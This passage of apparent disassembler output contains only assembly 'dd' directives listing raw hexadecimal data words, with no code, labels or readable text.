		dd 0E91333CBh, 0AD1B49D6h, 374F2185h, 508E80FAh, 8B7876C6h
		dd 298599B4h, 0CE0F59C8h, 5744F63h, 7002DD8h, 6AA56856h
		dd 0A5664C30h, 28C1CF3Dh, 0B2C8A489h, 517402Ch,	71104A0Fh
		dd 0C4994631h, 5DEF13B7h, 81A40147h, 0F01088CFh, 0EBEF4F04h
		dd 0ACE0E7E2h, 0CFA1FE29h, 92962C4Dh, 0CE9EC521h, 29ED8100h
		dd 2A460F17h, 5D31108h,	911F4B68h, 5713F68h, 0CDC50A13h
		dd 8CE26394h, 0B4D02185h, 41D27BF5h, 8571100h, 4A2112FAh
		dd 36D3C0F7h, 6040324Dh, 459AB05Fh, 0BA3E8043h,	1E835A54h
		dd 40E7B855h, 0EE0B8026h, 84F3283Fh, 3000F972h,	0B25866E7h
		dd 0FA4EF170h, 17806FCCh, 13C01FE2h, 0D5D08D4h,	50B65A34h
		dd 74D0BB00h, 0DBF72972h, 8F35B8B0h, 27091D12h,	2B08715Ch
		dd 2C310814h, 207F3708h, 2648257Dh, 0D2F03A19h,	836E3B74h
		dd 0C01B68BAh, 0C674EB81h, 10D3011Ah, 0DD5AC344h, 668C414h
		dd 0CCBE9807h, 0F026AB6h, 66FD6785h, 6984E99h, 25FEE901h
		dd 11A39990h, 440DF93h,	0ED073CBDh, 6B2D9673h, 4112B312h
		dd 0AC046E46h, 209319BCh, 8E60CAF3h, 169EA5h, 3F2B40BFh
		dd 11B45704h, 4752D3Fh,	0EFCCBE4Ah, 0D45E4AF2h,	7C43C921h
		dd 0E2C4DC38h, 45B0F1E9h, 0DB199D87h, 10632901h, 2D0EC2F4h
		dd 616F68A1h, 2424D8CAh, 0DBE146Dh, 0B4754948h,	0CF52E704h
		dd 295DB172h, 7B588968h, 2CC81682h, 84CC5678h, 0FBE0D36h
		dd 1F610C5Dh, 832A3469h, 4358011Dh, 0EA016769h,	83803E4Ch
		dd 10A1EA81h, 250E835Eh, 0F8D8E0DAh, 5C315AD7h,	972556F8h
		dd 0B2CA0A1Bh, 0E70511E4h, 70D839F3h, 1A4CDF1Fh, 0BC6E71Ch
		dd 3E485527h, 3BA92A82h, 4D500C80h, 50B815D7h, 0DD6C350Fh
		dd 25E5802Ah, 0B2216B0Eh, 0BF5F220h, 65169068h,	31A41A00h
		dd 1763B07h, 2D0846D0h,	0CF06025Dh, 7182095Bh, 5801647Ch
		dd 3839C201h, 89085512h, 86343BEEh, 0C6F3BE75h,	9211D140h
		dd 49E1901Dh, 0D5849C76h, 1590369h, 0C44C1EBh, 0BAC05B28h
		dd 41561C42h, 5F20B3B8h, 5EE98E2h, 3CC26152h, 2913C131h
		dd 0C2B332F8h, 59536A68h
		dd 73028847h, 2DD0F700h, 7C51A418h, 0C76C3387h,	7850D35Ah
		dd 0C14FA64Eh, 2280FA35h, 76785A21h, 2884FB40h,	0E06EE958h
		dd 76908330h, 0FE494CF0h, 638A13DEh, 0E8BB021h,	0B5BE4451h
		dd 797349D0h, 5BDD1355h, 18F61629h, 0C14EBB90h,	4202EE27h
		dd 0EFD70096h, 13088A50h, 898497E9h, 7535E12Fh,	0A8023EA3h
		dd 6042DAF7h, 2D67307Fh, 8C8B9D3Bh, 80B6FCC6h, 0D12EA6C2h
		dd 0A1C6277Dh, 414CFBB9h, 38542668h, 131C6FE6h,	0C5906108h
		dd 1818557Bh, 55585349h, 9AEA5462h, 1E400797h, 5A920E9h
		dd 1C50B8F2h, 32408C4Fh, 18669905h, 51874C5Fh, 3D54AD90h
		dd 0C54E8134h, 29136DCBh, 3A5815F5h, 56A8834h, 0A28480D6h
		dd 3A444CA2h, 268BD264h, 53ACB0C0h, 0F0D18116h,	7A2C6AEAh
		dd 0F8EC959Fh, 6E685000h, 5807092Ah, 0BB00B4BBh, 6DD13660h
		dd 3E325C1h, 46339C2h, 524A8973h, 0BD00D4CAh, 51B60D74h
		dd 8D190F45h, 0BC9B2822h, 26509649h, 1EC07B83h,	82DEF756h
		dd 0E8015AD5h, 59450CD9h, 510750C1h, 8BCE312Ah,	3E412E33h
		dd 923FC8F6h, 41C3B730h, 0ACD60331h, 181453Eh, 23EF7552h
		dd 0C1E1F901h, 585F0842h, 6316D5Ah, 11F9230Ch, 0FB103CD3h
		dd 0D21B65BFh, 0C0EF0588h, 0A8685119h, 4A583059h, 0D2452C84h
		dd 5B1E24A7h, 207F48ADh, 4A07E18h, 6BAA2968h, 0B0D200C3h
		dd 0ED48C2D2h, 4D19C477h, 536D52CDh, 6601E59Dh,	6C1C5F09h
		dd 9BE9A103h, 0C168A984h, 5755CC73h, 7A00A9F8h,	0B5B93C93h
		dd 195F58A7h, 0A565D7E9h, 4A88F066h, 0C11E01B8h, 415B55C3h
		dd 0C0E1C805h, 3E1DC530h, 0CB9381E2h, 0D8207459h, 29221D7Eh
		dd 1A11D8C3h, 5800027Eh, 53C0B70Fh, 2DE9E389h, 0E6A43C9Dh
		dd 273BE84Dh, 4D81A5Fh,	310974ADh, 6480FAC0h, 7087C7BEh
		dd 0C41F4C51h, 7CC05DEBh, 58A83C05h, 0E600A925h, 0C17FB745h
		dd 0CEE403E9h, 81D9814Dh, 46057998h, 5830D486h,	0E904AACEh
		dd 723D675Ah, 9CB45BC8h, 3B243B99h, 378409ACh, 7C741669h
		dd 0C4FE026Eh, 0E305ECC0h, 9559385h, 3BCC8022h,	0A86C8404h
		dd 0C9C0974Fh, 4A69685Fh, 0A3343070h, 30E32832h, 6F12C409h
		dd 76001CF8h, 1914A1Bh,	9094EE9h, 0CC485909h, 0F1830BC5h
		dd 9A695DD3h, 17897A04h, 0D5B9F1EBh, 0DA68026Eh, 29089822h
		dd 3A529A6h, 5F6572A4h,	54207A04h, 478314D1h, 0C93483A6h
		dd 5A31F501h, 45E0803h,	30A4BB1Eh, 0EC6FC305h, 0E7C0990Eh
		dd 6EF6002h, 0E024F780h, 585B76FAh, 0D02671EAh,	0A052C7F0h
		dd 0F6A7B050h, 80D8C9FBh, 88752C08h, 0E68058C7h, 78D7FC01h
		dd 0B4502EFEh, 0F13B133Dh, 145C3D59h, 0D3B0737Ch, 0E49149A2h
		dd 0B7924212h, 2AF8412Eh, 6B913474h, 1F605D58h,	0A503B96Fh
		dd 292D888h, 19176EB1h,	0BCC61F40h, 62D54709h, 75E5F04Eh
		dd 822602F6h, 12A5E939h, 793D1D0Ah, 9AEB0C94h, 31104122h
		dd 581BE17Ch, 0D2C4CE33h, 2A4976DFh, 97293E5Fh,	0FA84483Dh
		dd 879A55Fh, 84BB502Fh,	4936536Bh, 150744D2h, 5B06C119h
		dd 0CA84D960h, 0FE5E6366h, 58983D1Ah, 2690DE29h, 5DEE0888h
		dd 0E56A4E99h, 2E056885h, 0DF01DB35h, 6BAF18CFh, 81FE80E6h
		dd 5CAB4BEFh, 0A172FA48h, 0E329C517h, 0F07ED94Dh, 8008A22Ch
		dd 545302F7h, 593FFA5Bh, 0F46F41F3h, 0AC4537A4h, 82E2C5EEh
		dd 5DC98AACh, 25A4AC11h, 0A76B3869h, 13E878E4h,	0FEEFF40h
		dd 674F0EE0h, 5506F89h,	91DD212Eh, 0C0347C16h, 0D67F1781h
		dd 13068866h, 5E7D166Ch, 4C638800h, 0C2BA523Dh,	0E6AD583Ah
		dd 327BCA02h, 9AE00F1Bh, 654FE906h, 0CDC33DD0h,	0A8E44B2Ch
		dd 0E580F02h, 0DA0C16E5h, 32C71208h, 0AEB07110h, 66011A5Ch
		dd 59EF305Bh, 1BC7EDE9h, 4E7D18Ch, 0C7801226h, 1614E42h
		dd 282BC868h, 64C2CE08h, 38C22CB1h, 0A905004Fh,	684CAB76h
		dd 0E00927D0h, 2852B760h, 20C3F988h, 128EE46h, 429AB354h
		dd 4DD8121Fh, 3D47C2D6h, 0F774DE21h, 46B896D1h,	8A20FBFDh
		dd 8A904B10h, 465E277Ah, 417EB048h, 3C27CC35h, 0F310D04h
		dd 90B06087h, 9D1F62Dh,	0C6895F90h, 30552131h, 3026912Ch
		dd 0F20E39E2h, 0DDC2665Fh, 0E9451F06h, 6B066E70h, 1091130Eh
		dd 0B841BBE8h, 0A6AB1D4h, 5BD829D2h, 497D16B2h,	6A4C5F5Eh
		dd 5598DDACh, 71026A5Fh, 748638E9h, 418B4B04h, 2681698h
		dd 0C31505Ah, 83043C72h, 0A29CAD30h, 0F663D32h,	0AB535150h
		dd 68E0A135h, 3A635B9Ch, 1B75215Eh, 0C980054Bh,	96228268h
		dd 161A627Fh, 0A1090E0Ah, 0E602E48Ch, 0B66826E0h, 26E4A64Fh
		dd 1499651h, 143A04ACh,	0D557F01Bh, 0BF3924B7h,	94ADB3B0h
		dd 49D6C5F0h, 3B5958B4h, 32F569B7h, 0BA29B64Dh,	0BD355FE0h
		dd 4484DF90h, 0C88014Eh, 2992A68h, 193AA062h, 1A7B246Ah
		dd 40D61053h, 792A68D4h, 21F01523h, 0D9380848h,	3302C8D4h
		dd 94C4BAAh, 0EF1E896h,	8FAC14B1h, 5A90222Bh, 555E7D6Ch
		dd 0F9607829h, 0CC2C4E87h, 1A40CCF0h, 9580B68h,	8B8713D3h
		dd 9DEEB0EFh, 0FB5B01BBh, 13E27CDh, 1B3EEBFEh, 7AB14235h
		dd 472720DCh, 5F044952h, 880F0174h, 61740684h, 2AA379E1h
		dd 5CCEDD8Fh, 5165C53h,	54FC040Ah, 5D1B8860h, 8D60C598h
		dd 5AAE269h, 50556339h,	19034DEFh, 1C3C96CAh, 0C08BE069h
		dd 0E94A8071h, 0CC92C73h, 0FDF18088h, 3F5EF531h, 0EC1AEB89h
		dd 0B1027EBDh, 2E0F4240h, 7FC501E2h, 0B93E6BAh,	0E4C5A031h
		dd 45110997h, 25253F2Eh, 30AC8C80h, 681652D8h, 0A8CC69A2h
		dd 0CE989774h, 149F3AB7h, 0BE12BF6Ah, 110DF51h,	440C5CC9h
		dd 256BCF28h, 1F74C51Eh, 0FF2BC956h, 8C8B8359h,	5B8B1938h
		dd 0E2A4163Ch, 49E93FEFh, 0D4281DD4h, 0C4F8FBCBh, 9DBF0723h
		dd 0D2372F71h, 7EE5475Ah, 0C40C831Ah, 0AEAFA7Bh, 6D2E684Ch
		dd 0A15438F8h, 7CB42EE9h, 2EDF4012h, 0E9A03C3Ah, 0D3B0C229h
		dd 4CD6E203h, 0B7D16114h, 0D551F280h, 0E907120Fh, 681B42C7h
		dd 9F997F9Ah, 499F3050h, 0B75FB940h, 7FE2114h, 44DC0B5Eh
		dd 0A6725289h, 123FDC05h, 26E1C234h, 867207D4h,	0C064BA85h
		dd 0D8285AD0h, 0B6005251h, 21B75354h, 658EF80h,	16E9FD88h
		dd 280F2CE7h, 2B5A66F0h, 47BE2BBh, 91D04AD5h, 2E6BC3BAh
		dd 27D6121Eh, 0E92DD694h, 0BED380A2h, 588F4DE6h, 0DA2C623Ch
		dd 88646122h, 56D0EC02h, 0C3E7BBC0h, 0BC78735Ah, 0D3EF01A3h
		dd 0FBB0DA94h, 8B4E53E8h, 19A45F68h, 544BC701h,	67ED1FA7h
		dd 217B5935h, 26C0ED11h, 4F022806h, 5A136E49h, 0DDF61131h
		dd 4316C637h, 98263410h, 0BB0153C8h, 548652A8h,	20645C29h
		dd 3F3441E8h, 60F48F0Bh, 1674BFFAh, 0C1048566h,	35F2781Ah
		dd 389251A5h, 440520C1h, 2160B841h, 0EC415Dh, 2406EB82h
		dd 59576518h, 911947FEh, 6B2FBC8Fh, 0A1FB3A0Bh,	7AFC103Eh
		dd 4971512Ch, 0F9339944h, 0B9E04512h, 0C023CCF6h, 3D4B640h
		dd 5F12A03Ch, 224FDE01h, 0EF111Dh, 4E786B5Ah, 516D9446h
		dd 4B273456h, 3A629A32h, 0D27F48DEh, 66D3830Fh,	3A559B25h
		dd 0F9D7EA3Ah, 10636902h, 6020F3Ch, 0F8215AD7h,	2FD781F3h
		dd 58C1A580h, 5F5EBE56h, 8130A500h, 985DCDCEh, 850F176Eh
		dd 1D60F4F1h, 0C78BA795h, 0CCB8A672h, 0B1B4D766h, 59480A51h
		dd 825F89C4h, 206E67CBh, 5BB85C21h, 0A2958h, 9F580205h
		dd 27F00151h, 8240D1E9h, 2725C8B9h, 14C280C2h, 9D43F97Dh
		dd 0FBE17E00h, 369F656h
		dd 3D375610h, 26AAF187h, 0CA29B1F3h, 5283A59h, 8053945Ch
		dd 27B959DFh, 48BAD9E9h, 46AFBB00h, 0D3F75328h,	0B4CB0681h
		dd 1039C00Fh, 0EBD14300h, 1FABD55h, 0F029FA20h,	7AB65Dh
		dd 0A08F581h, 0C10967ADh, 4503E5h, 404FD983h, 0DBF7263Dh
		dd 317D2E10h, 0ED74AE46h, 0F3A8238h, 7E3E8F0Eh,	70AA4E62h
		dd 0D1F783B7h, 8494CB87h, 48F68B26h, 0FD3020Ch,	7A5763F7h
		dd 6A7CC01Dh, 299F09F8h, 15BDF17h, 0E91D2B8Bh, 0C9F6ACCDh
		dd 684BE1D1h, 0B552E8F4h, 64255E14h, 10367113h,	6313733h
		dd 6C3C5C69h, 0ED9E5A4Dh, 6190C727h, 6FB646E9h,	58264341h
		dd 0AE2507FBh, 143B206Bh, 0A7B8B438h, 20C0CD05h, 7DE16452h
		dd 192653Bh, 1A326226h,	0E3862130h, 1C081695h, 0AA106F1Dh
		dd 27014D87h, 0A2FD0567h, 8521628Eh, 7CC3CB2Ah,	38AFFE55h
		dd 3B2B5101h, 0A05D020Ah, 0FE44F342h, 3EFAC211h, 0B5D5C60Fh
		dd 0F2801CA8h, 52E2D9A2h, 0DF91E3C2h, 304D6028h, 0FFE9C30Ch
		dd 7F63459h, 0B60F66F1h, 6515B3CCh, 0CCEADF2Fh,	0C933FC8Bh
		dd 0DAF85DD5h, 0C5F20134h, 6D0A681h, 445BF64Ah,	0BC11178Dh
		dd 578CC41Dh, 3C545606h, 0F5053245h, 174091A2h,	4A225B98h
		dd 8FC4816Ah, 0E6A9F504h, 30439AE1h, 79053844h,	0F3010346h
		dd 0D108C2h, 81CD2958h,	49D2ED04h, 4AE0339Bh, 0F2AA83EBh
		dd 6F6802C8h, 38200817h, 8B521240h, 4C29C84Dh, 0B9013CFBh
		dd 3F6075AFh, 0B55CD2E9h, 0D8215E07h, 9633683h,	5CC56810h
		dd 4595F044h, 596803FBh, 4610B35Eh, 0AD317EE7h,	0F828295Eh
		dd 0BF3C576Bh, 67FE92F4h, 0F2D13E0h, 54AF75C9h,	39E9C802h
		dd 4542B8CAh, 0D7F88E46h, 0F118B46Ah, 21595C84h, 5BA48CC4h
		dd 2E7241BEh, 8619F2Fh,	92FEB850h, 7913531Bh, 4CBE1AD0h
		dd 7055003Ah, 525AD631h, 1D09D8BAh, 1C10878h, 0A92681Fh
		dd 0B809343Eh, 87D3805Fh, 904A5BDAh, 98907C6h, 0A1F77630h
		dd 6B01ACE9h, 21F9B534h, 551608D2h, 0E2019824h,	774A7E3Ch
		dd 23F0F2D9h, 601D482Eh, 0BF372674h, 9C300F3h, 1103534h
		dd 0EB50C998h, 1EC05A08h, 4E7732A4h, 0A6CA7B68h, 6790BDE0h
		dd 98052A6h, 7FFBB0C2h,	0EFC08017h, 0CCC8024Bh,	8AF3A128h
		dd 0E093992Ch, 0E9271BDEh, 0F6756122h, 0FE55D12Ah, 388105B3h
		dd 842D6708h, 130C2386h, 24F9C138h, 0F51080CFh,	883D2C03h
		dd 95A858C5h, 0B24C5266h, 82702FFCh, 80D2F7BDh,	0A6F37388h
		dd 0FD29488Fh, 21B552Eh, 78FE5D8Ch, 0ABA11578h,	1C2DD6h
		dd 92390FEBh, 0A2C32908h, 5808008Eh, 93481A68h,	7C950B66h
		dd 0D250E0DAh, 0EF65A465h, 78874B0Ch, 0DB3F25E2h, 809D267Bh
		dd 0E143D60h, 1E00F681h, 0F15265Bh, 0C06B618Ch,	3406C68Fh
		dd 28B83DFFh, 48C01020h, 0AA2A674Eh, 4C88EEBBh,	0C81347E3h
		dd 0E1E10159h, 3515606h, 4CB826A1h, 1BF80300h, 42882D87h
		dd 0A8BD4603h, 0E9090707h, 0B626409Bh, 0CA9B890h, 64EB8B0Fh
		dd 0D040B7E5h, 7E20AC1h, 0F905634h, 60CC39B9h, 2014F60Ch
		dd 1A418F9h, 4ABB26F3h,	3E958F5Fh, 534DF608h, 5089D594h
		dd 8575342Ah, 0BD194FE9h, 5E588E74h, 0E2100491h, 176A4CB2h
		dd 38B56062h, 891C0F72h, 5EF081D6h, 20C7295Ah, 3C413A5Ah
		dd 9336B940h, 90877EF4h, 0F1890EDEh, 203903E9h,	649E6831h
		dd 15FD70D6h, 891A1512h, 0A15320D3h, 415B6973h,	4B8FD8Ch
		dd 305C4638h, 0BA8DC1F7h, 0C53A38CAh, 0FE8A7B8Bh, 91DD2128h
		dd 0AA7C1C53h, 9E68137Eh, 0C3998C75h, 34622B75h, 5EE1EB94h
		dd 57FB8249h, 3A492344h, 0FFC42A22h, 254C81F3h,	9516DC32h
		dd 8C597C76h, 8F4AC12Ch, 245534F4h, 0F31CB7ADh,	22428DD9h
		dd 53EE1316h, 0D80899A0h, 5F045B05h, 0F4A0C230h, 0D5882C42h
		dd 86FD1FBEh, 95025768h, 61C56EECh, 35F859CBh, 0F42192DFh
		dd 3B00F789h, 2DEF1BFAh, 588D0656h, 5280F2Ah, 15F7607h
		dd 53A65E44h, 6CA1E957h, 48F87585h, 0F984B3BFh,	402E2C10h
		dd 962EFD09h, 7416014Eh, 8F080824h, 2CBB00BCh, 893C7003h
		dd 0AE5BD93Eh, 58BB1B4Bh, 67B7014Ch, 0D0010E1Bh, 2C818F41h
		dd 4BEE393Bh, 0C8914E7Bh, 602518F6h, 1E76E300h,	0B040E75Eh
		dd 511A5748h, 0EB12E92Ah, 2F90F6EAh, 49D606C6h,	0E5411621h
		dd 8E842E2Dh, 0A5E9307Ch, 0C2609C57h, 8874122Bh, 34505996h
		dd 9D5E9411h, 84A60066h, 27E0A308h, 3E558F42h, 656D9629h
		dd 0FC2FC05Ch, 0A2E0B78h, 6E0E0951h, 0FAB35A45h, 88282022h
		dd 3C486639h, 5ABAFA40h, 0ED215B24h, 2026FA25h,	6812418Eh
		dd 69345362h, 77D08687h, 984D5FE7h, 410D59ADh, 4E2C6648h
		dd 0A3F68B2Eh, 0C01EF178h, 807F05E1h, 0D5B05001h, 0E158C130h
		dd 1414573Bh, 4C061ABAh, 9452BB35h, 9DCA745Bh, 3E145A2Fh
		dd 0AE17793Dh, 8B01E250h, 89AF7EE8h, 0BA866B60h, 9E3BEA85h
		dd 52FA26D4h, 0BA85CB16h, 0A46BE989h, 3EC1018Ch, 17240D34h
		dd 24C483C6h, 3D4F21BAh, 74A004B0h, 41343D33h, 0E5859FA5h
		dd 2E88BC87h, 1418F03Bh, 128B080Ch, 1D89A42Dh, 20F743D8h
		dd 39D04946h, 9185418h,	4550D829h, 0B242850h, 1CEE74C4h
		dd 0C9C140EDh, 35808302h, 8DBE581h, 453D2F07h, 0E09FDDF7h
		dd 838BA0A2h, 28EB5B21h, 849DD12Ah, 29097509h, 5249CB02h
		dd 7E652440h, 5933DA00h, 7404F181h, 89580245h, 85DDE9CAh
		dd 44FEB5Eh, 1A913329h,	366C1516h, 0B07A0C4h, 350C845Eh
		dd 4F4ACC57h, 0A628CE5Ah, 9A89FA50h, 9A5E4884h,	0A2AF8D85h
		dd 0A74F7846h, 0F5C78C0h, 0BD30B5C8h, 59C3BE5Eh, 0C956505Dh
		dd 1D768071h, 14063B4Ch, 7C07A45Eh, 0E4D71303h,	7FA2916h
		dd 4E7C28Eh, 6F01F76Bh,	1F08EA0Ah, 661D55E9h, 19786883h
		dd 0B4EDD710h, 0EE94995Eh, 4925BA75h, 0C72D5435h, 81423B2Ch
		dd 0AD7816BEh, 2E4CE863h, 1044E0B1h, 0AB033A88h, 0B753D88Ah
		dd 0FD283B4Ah, 0E8325B38h, 36F92650h, 0AD59F08Ch, 265744BBh
		dd 0EDF7649h, 61D0EBECh, 3BC0890Fh, 0BEF4178Bh,	8F77A278h
		dd 0E4176562h, 0C40E41E1h, 7C78DD2Eh, 0AEB58433h, 0BECA300Ah
		dd 0DF0C2DE3h, 962E0AAh, 3A460361h, 0F126AF9Dh,	227833Bh
		dd 39E9C218h, 0D15902BDh, 6402F6E2h, 93A7FC54h,	0E660AECDh
		dd 9A07FC51h, 16816009h, 77F40F53h, 6355828h, 63E95D17h
		dd 0D320D9C4h, 0B08E8C1h, 5393C831h, 614C4E02h,	7162C776h
		dd 0C9AD0F1Eh, 344F79F5h, 0DFA21133h, 9D62C897h, 93447FE5h
		dd 4F81C94h, 0A8467CC5h, 0E12ECB5Dh, 8F785E03h,	1437C6C0h
		dd 0F091D3Ch, 0A2DF7B82h, 736812CDh, 0B0308EFh,	0EC085626h
		dd 0DE280F7Ah, 0CED07FA9h, 3904AC1Ch, 8109EE96h, 2952DA6Ch
		dd 0BFAC199Fh, 7C83622Fh, 0E7EDC968h, 0ADB71292h, 0BB8908ECh
		dd 2127E17Ah, 509382D8h, 8D827754h, 0CD460B2Ch,	4350D2F1h
		dd 10B42B9h, 713E86D7h,	19F9ECF1h, 4065C122h, 316D7476h
		dd 295BDE17h, 205560C1h, 0F652FD87h, 6501A754h,	0B553805Ah
		dd 2CECF088h, 0D028410Eh, 0BB799F04h, 58C3975Eh, 38E99D44h
		dd 775F05F8h, 0B882D480h, 0AD5C2944h, 5160AE0Bh, 38CA742h
		dd 0A99EE4A0h, 0AD044A12h, 991BFF1h, 9FF42DF2h,	0CEE9132Ch
		dd 0EF71A422h, 55D00495h, 40472BEFh, 18ABD9F3h,	4DD045C2h
		dd 1D685B09h, 6814DC7Fh, 0E9FB61A9h, 2A17CF4Eh,	7CB25E51h
		dd 0F392F7CFh, 93B976E8h, 0F5C83B8Ah, 5ACC208h,	0B272D768h
		dd 91A34EB4h, 9BCB993h
		dd 90D1A8E9h, 258F4492h, 49706069h, 7A03CAF2h, 0F4CE537h
		dd 16A0B586h, 2AE92542h, 88E18163h, 3CBFACC4h, 6E015F58h
		dd 26D4AEFh, 0E9BD8485h, 1BB705C1h, 1F0EAB4Ch, 7F0E1Ah
		dd 0E72615CDh, 20B7E905h, 4BF835DCh, 0D184BB8h,	7CEDA146h
		dd 122E4847h, 0F988C280h, 780B9D5Ah, 24A68D79h,	12A85813h
		dd 0B74BBEB4h, 0C0C6139Dh, 0E65E9305h, 171AC93Dh, 13001B2Bh
		dd 12C67A02h, 5D02914h,	575A1307h, 4883376h, 941BA968h
		dd 0E319C14Eh, 605003Bh, 6A972F9Dh, 3A5B80E1h, 0E909D2CAh
		dd 6DF4F385h, 1813654Ah, 7601A049h, 0E681C074h,	0E228370Bh
		dd 79E8A611h, 4B20F22Eh, 7518DE00h, 0A1D5F73Fh,	0A9FC69F6h
		dd 42E924BBh, 0A066941Dh, 889DB731h, 0C11F7BEEh, 3865909h
		dd 1497B2A2h, 0B401B126h, 83062734h, 0EAC3CA8Dh, 89F706AEh
		dd 6030E932h, 3EE829ACh, 0C812232Dh, 3B550B44h,	54575C98h
		dd 9DE11695h, 43E16030h, 9F58180h, 5DB6CF6Ah, 7BC25310h
		dd 0E0050C24h, 4943A516h, 2C02E4C0h, 20CA0406h,	431B609Ah
		dd 916FD9EEh, 0F101BD1Fh, 0EBA01D53h, 512E03B9h, 0D1F74869h
		dd 3BDC10E1h, 0BAE13A89h, 0FA6AFAh, 657998B4h, 0FCEEC43h
		dd 1E053852h, 78EFF68Fh, 5F61F89h, 797C8B4Bh, 16E9C134h
		dd 0A29D7811h, 17FAD89Ch, 0CC65A168h, 3214EEE3h, 104B2E1Eh
		dd 58267EC4h, 57FA5B54h, 52126056h, 1B530801h, 0A30788Bh
		dd 0C2800B0h, 59CD0173h, 805E5C1h, 0F6850F4Dh, 415FA4B4h
		dd 0A713EE3h, 0F3E8CD8Ah, 940A17B3h, 0D6140E1Ah, 0E1683E45h
		dd 1B6E8224h, 45698262h, 3BBE8187h, 6B0FFD4Eh, 0D81E5913h
		dd 8902F029h, 2A48342Fh, 263A02DDh, 0FA43358Bh,	0EC952DE1h
		dd 0E9273452h, 0C4D32E81h, 8B91D7BBh, 0D2F5EF0h, 2E0631B7h
		dd 6884BD32h, 80AA2A98h, 648EEC1h, 5C4C070Bh, 0EBE47BABh
		dd 2538CF0h, 15FBBA52h,	69421D3Fh, 0BB83CB2Fh, 35C04110h
		dd 0E10AEB81h, 8477AA32h, 79F1D500h, 1BDD0142h,	0D927F5E9h
		dd 693D51E8h, 0E8324360h, 0A079FA5Ah, 301A9794h, 0E9FC6588h
		dd 7674BA66h, 0D5C27B4Ah, 0C8D3C232h, 4CF386DEh, 0F61DB151h
		dd 0BFD825D1h, 0A80B0E24h, 7861FEF2h, 0E927C209h, 1B0C8C54h
		dd 990DB85Ch, 314A2B0Fh, 2FB072Fh, 25DCC328h, 0D059CAAEh
		dd 70926885h, 68A0D1FDh, 4E9655C8h, 7E36CD62h, 450262B4h
		dd 31686600h, 0BA72E90Ch, 0E3A95113h, 0DB0C9AAAh, 101AA476h
		dd 0EBC00153h, 2A8B0F06h, 0F3807D84h, 5628EB4Ch, 0D8882D50h
		dd 0BF6C285h, 8F10AFE0h, 7A1363C1h, 13852E35h, 3CB18001h
		dd 0CA303150h, 30C441CAh, 9D1F2D1Ah, 20E41C7Eh,	0EA06AE00h
		dd 58D00115h, 0F410235Ah, 2CC13AEFh, 0E1028F05h, 0E048AF26h
		dd 0DF7C934Dh, 15AAC3D7h, 0C1DDB845h, 34080114h, 0CA381455h
		dd 0ED8180C1h, 4F072DBFh, 0E9CD1E29h, 0DBA52DF3h, 5262F08Ch
		dd 3A1E959Dh, 21401840h, 51E30FBAh, 0DE4B740Ah,	0BF8250C2h
		dd 0E361A72Dh, 0E01A2FA5h, 5B466994h, 89D01A6Ch, 2041DA3Eh
		dd 1D2E8737h, 0E1006C4Eh, 5F3F6F1Bh, 8E912C1h, 0F1DBB041h
		dd 0AE423B0Eh, 0C502DF0Dh, 0F6F255B3h, 57A22FDCh, 0A40E664Dh
		dd 44FEA84Bh, 70AC9Fh, 0BBE60535h, 0E8C12482h, 3A060926h
		dd 2EB63618h, 3EEC009h,	6B8D8650h, 0DBFD0B37h, 5043F3Bh
		dd 54BB0917h, 70E3AA29h, 60508165h, 33413991h, 3DC31860h
		dd 31230FFh, 2D518BA8h,	0FED0E652h, 7E80B5F2h, 39D44818h
		dd 41C70159h, 67E73108h, 0C8344AFFh, 0CC1A42B9h, 23F16EA7h
		dd 0E3565B96h, 97503E38h, 637020A2h, 3DE85B04h,	0C70075B3h
		dd 0C815BABFh, 0F8FD8931h, 994A9712h, 0E608E1F9h, 0EBCE3420h
		dd 5ACAC458h, 17C93423h, 4EF8B0DAh, 7B7ABF80h, 6C644827h
		dd 89F4D604h, 24C5A815h, 0BC001256h, 0BE31883Bh, 4FD5095Eh
		dd 71A2010Eh, 0CA0C7428h, 294B8862h, 36CF81C0h,	0C720EE6Ah
		dd 800CD80Ch, 68DFF734h, 312E5731h, 5929E85Dh, 4FD30710h
		dd 0DF33F9E0h, 0D28E5FF7h, 3563B508h, 0B72D6ADFh, 34BAD204h
		dd 61DA2953h, 570B1CCCh, 1A4109Dh, 2BE918FEh, 9DEAC513h
		dd 0E038B50Bh, 12727389h, 1591F801h, 80EA666Ah,	7ECA5F3Dh
		dd 0C9294A5Eh, 0A4A13CDAh, 0BD4746A0h, 63BDCC80h, 367A8F05h
		dd 4A0EED5Dh, 9C812A34h, 0D83F746Ch, 78B61CF5h,	547EE9C2h
		dd 80E62D4Ah, 0A64F80F6h, 7FC7DFC8h, 0D26B487Ch, 5A7B9B10h
		dd 0C681B084h, 0C60021D0h, 0D6F6A8C3h, 0F1E7AF4Fh, 8B019940h
		dd 2F36E9B1h, 9F73340h,	95DF37EEh, 720A88Ah, 0CCBE7813h
		dd 0B7E40764h, 2426E394h, 3A622B16h, 0B450F04Fh, 9B666920h
		dd 6BA61C2Ch, 426853C1h, 9C542634h, 0E9B629D2h,	5665C353h
		dd 5534A932h, 459E9496h, 0DBB2E986h, 0EFEF8162h, 978B317h
		dd 65F35702h, 0E0409263h, 0B16612Dh, 0DBF775C2h, 352B2F80h
		dd 0E3FC6BF9h, 494C8E0Ch, 13982801h, 87701D60h,	0C2F1A5D1h
		dd 0E16AF0BEh, 0D1F30975h, 6A73484Ch, 0D0938800h, 4033CA25h
		dd 80E1B5F8h, 609D315Dh, 0BACDE218h, 22D16517h,	3144B0E8h
		dd 5F34DA57h, 24E9A78Ch, 0A5595469h, 0A59023DAh, 74480A0Bh
		dd 29F2A218h, 9B1C2E8h,	4C89500Bh, 0D56BEF5Dh, 726A8A0Bh
		dd 0EB403077h, 0DC16955Dh, 0E9F88904h, 0D0F42872h, 85C7DFD6h
		dd 0A08BF580h, 715BC1EAh, 6B926437h, 67CF900Dh,	7BD628A0h
		dd 564B08C1h, 0B300450Eh, 0F3B472Fh, 0DF77E884h, 0E63C0031h
		dd 0C7E9A4BFh, 13A2ECB5h, 0C901C068h, 0EB40411Eh, 178105DCh
		dd 0F1105B7Ah, 0F31D68D6h, 0F8F05144h, 0EF9B5484h, 54BCCA3Ah
		dd 0E92D557Ah, 0C02000B3h, 0F8005E5h, 432C8DEDh, 4221B6A9h
		dd 371A6B68h, 97532C29h, 7FB7A812h, 12F5D351h, 494B5F06h
		dd 25067B2h, 3234110h, 0EA275C45h, 0C4E4F914h, 48E921EAh
		dd 0AC3BED3Ch, 0DC273E12h, 6816669Bh, 52270208h, 4642F972h
		dd 35B0055Bh, 0A3F049E9h, 459E0189h, 0D9317F9Fh, 162B1BFDh
		dd 509DB7A8h, 18B5023Eh, 661068D4h, 0E7829B4Dh,	0D488501Ch
